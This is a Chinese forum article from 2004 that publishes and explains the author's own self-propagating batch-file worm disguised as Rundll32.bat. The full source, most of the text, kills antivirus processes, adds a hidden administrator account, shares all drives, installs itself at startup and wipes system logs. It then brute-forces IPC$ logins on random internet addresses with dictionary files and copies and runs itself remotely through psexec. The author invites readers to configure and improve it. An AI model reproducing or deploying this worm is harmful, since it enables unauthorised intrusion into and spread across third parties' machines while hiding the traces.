分析一个用批处理编写的蠕虫【字体:小大】分析一个用批处理编写的蠕虫作者:红衣刺客文章来源:IDS网络安全小组点击数:1443更新时间:2004-8-27前几天闲来无事,用批处理写了蠕虫。把源代码公布出来分析一下。希望大家共同进步。源代码如下(把下面的代码保存为Rundll32.bat):REM-----IPCWormV2.0-----REM########################REM配置部分SETaddadmin=wormSETSORI=1SETADDR1=254SETADDR2=254SETADDR3=254SETADDR4=254SETWORM=Rundll32.batREM#######################Copy/y%windir%\system32\%WORM%C:\Autoexec.batCopy/y%windir%\system32\%WORM%%windir%\system32\Winstart.batPSKRfw.exePSKKAVPFW.exePSKKAV9X.exePSKVPC32.exePSKPFW.exePSKRavMon.exenetuser%addadmin%/addIF%ERRORLEVEL%==0netlocalgroupAdministrators%addadmin%/addnetshareipc$netshareadmin$netshareC$=c:\netshareD$=d:\netshareE$=e:\netshareF$=f:\del%windir%\system32\logfiles\w3svc1\*.*/f/qdel%windir%\system32\logfiles\w3svc2\*.*/f/qdel%windir%\system32\config\*.event/f/qdel%windir%\system32dtclog\*.*/f/qdel%windir%\*.txt/f/qdel%windir%\*.log/f/q:IPADDRESSIF%SORI%==4SET/AADDR4=%RANDOM%%%%ADDR4%IF%SORI%==3(SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==2(SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==1(SET/AADDR1=%RANDOM%%%%ADDR1%SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)SETADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%FOR/F%%KIN(%windir%\system32\U.txt)DOFOR/F%%JIN(%windir%\system32\P.txt)DONETUSE\\%ADDRESS%\IPC$%%J/USER:%%K&IFNOTerrorlevel1GOTORUNGOTOIPADDRESS:RUNCOPYRundll.bat\\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%IFerrorlevel1GOTOERRCOPYU.txt\\%ADDRESS%\ADMIN$\SYSTEM32\COPYP.txt\\%ADDRESS%\ADMIN$\SYSTEM32\COPYPS\\%ADDRESS%\ADMIN$\SYSTEM32\COPYPSK\\%ADDRESS%\ADMIN$\SYSTEM32\PS\\%ADDRESS%%windir%\system32\%WORM%NETUSE\\%ADDRESS%\IPC$/DELGOTOIPADDRESS这里面用到了pskill,psexec这两个小工具和两个猜解用户密码的字典文件U.txt和P.txt。这只蠕虫(IPCworm)的功能:1、杀死本地杀毒程序的进程。(可以杀掉瑞星、金山、天网和赛门铁克。)2、在本地添加一个用户,用户名可以自定义,密码为空。3.把自身复制到启动项。4.共享CDEF盘。4、随即生成一个IP地址。(可以自由定义IP范围)5、扫描弱口令。7、复制自身到目标主机,并执行。由于防止使用者恶意破坏。只编写了感染部分和传播部分,没有对破坏部分进行编写。现在只可以定义为一条共享蠕虫。分析:REM配置部分REMaddadmin=worm你要建立的用户,默认为wormSETADDR1=254循环IP第一部分SETADDR2=254循环IP第二部分SETADDR3=254循环IP第三部分SETADDR4=254循环IP第四部分SETSORI=1随机开关,如果是4则以第四部分为上限,生成192.168.0.1—192.168.0.255中的随机地址,如果为3,则第三部分和第四部分都是随机,以此类推。默认为0.0.0.0-254.254.254.254之内的随机IP,也就是全世界,当然大家可以自己配置IP范围。SETWORM=Rundll32.bat定义蠕虫的名称,默认为Rundll32.bat。这一段为配置部分,大家可以根据自己的需求和喜好配置自己的小虫虫。下面开始对这个蠕虫的行为进行分析。Copy/y%windir%\system32\%WORM%C:\Autoexec.batCopy/y%windir%\system32\%WORM%%windir%\system32\Winstart.bat把自身复制到启动项Autoexec.bat和Winstart.bat中,双保险,呵呵,够黑吧!PSKRfw.exePSKKAVPFW.exePSKKAV9X.exePSKVPC32.exePSKPFW.exePSKRavMon.exe杀掉反病毒进程,用到了pkill这个小工具,这里改名为PSK。netuser%addadmin%/addIF%ERRORLEVEL%==0netlocalgroupAdministrators%addadmin%/add建立你所要建立的用户名,并把其加入管理员组。netshareipc$netshareadmin$netshareC$=c:\netshareD$=d:\netshareE$=e:\netshareF$=f:\共享CDEF盘。当然你还可以再添加。格式:netshare共享名=共享硬盘。del%windir%\system32\logfiles\w3svc1\*.*/f/qdel%windir%\system32\logfiles\w3svc2\*.*/f/qdel%windir%\system32\config\*.event/f/qdel%windir%\system32dtclog\*.*/f/qdel%windir%\*.txt/f/qdel%windir%\*.log/f/q清除所有日志,呵呵,管理员不要吐血哦下面就到了精彩的传播部分:IPADDRESSIF%SORI%==4SET/AADDR4=%RANDOM%%%%ADDR4%IF%SORI%==3(SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==2(SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==1(SET/AADDR1=%RANDOM%%%%ADDR1%SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)SETADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%随机生成IP地址,如果SORI的值为1,则循环IP第四部分,如果SORI的值为2,则循环IP第四部分和第三部分,依此类推。ADDRESS定义为随机IP部分的这里用到了RANDOM这个随机函数,建议大家看看Windows的帮助。FOR/F%%KIN(%windir%\system32\U.txt)DOFOR/F%%JIN(%windir%\system32\P.txt)DONETUSE\\%ADDRESS%\IPC$%%J/USER:%%K&IFNOTerrorlevel1GOTORUNGOTOIPADDRESS(也就是重新随机定义IP)呵呵,绝对经典的一句,用了For的双层循环猜解用户名和密码(U.txt为用户字典,P.txt为密码字典),如果正确GOTORUN,错误GOTOIPADDRESS。建议大家好好琢磨琢磨这一句话。:RUNCOPYRundll.bat\\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%IFerrorlevel1GOTOERRCOPYU.txt\\%ADDRESS%\ADMIN$\SYSTEM32\COPYP.txt\\%ADDRESS%\ADMIN$\SYSTEM32\COPYPS\\%ADDRESS%\ADMIN$\SYSTEM32\COPYPSK\\%ADDRESS%\ADMIN$\SYSTEM32\PS\\%ADDRESS%%windir%\system32\%WORM%RUN部分,建立IPC$成功后把自身复制到目标IP的SYSTEM32目录下,并用psexec远程执行蠕虫主体(这里为PS)。NETUSE\\%ADDRESS%\IPC$/DELGOTOIPADDRESS删除IPC$联接我想通过我的分析,大家应该会对批处理有些了解,也大概明白了蠕虫病毒的行为特点。现在还存在一个问题,就是无法实现随机IP段。如果你有什么好的建议或者想法,欢迎与我联系。我的QQ是158017079。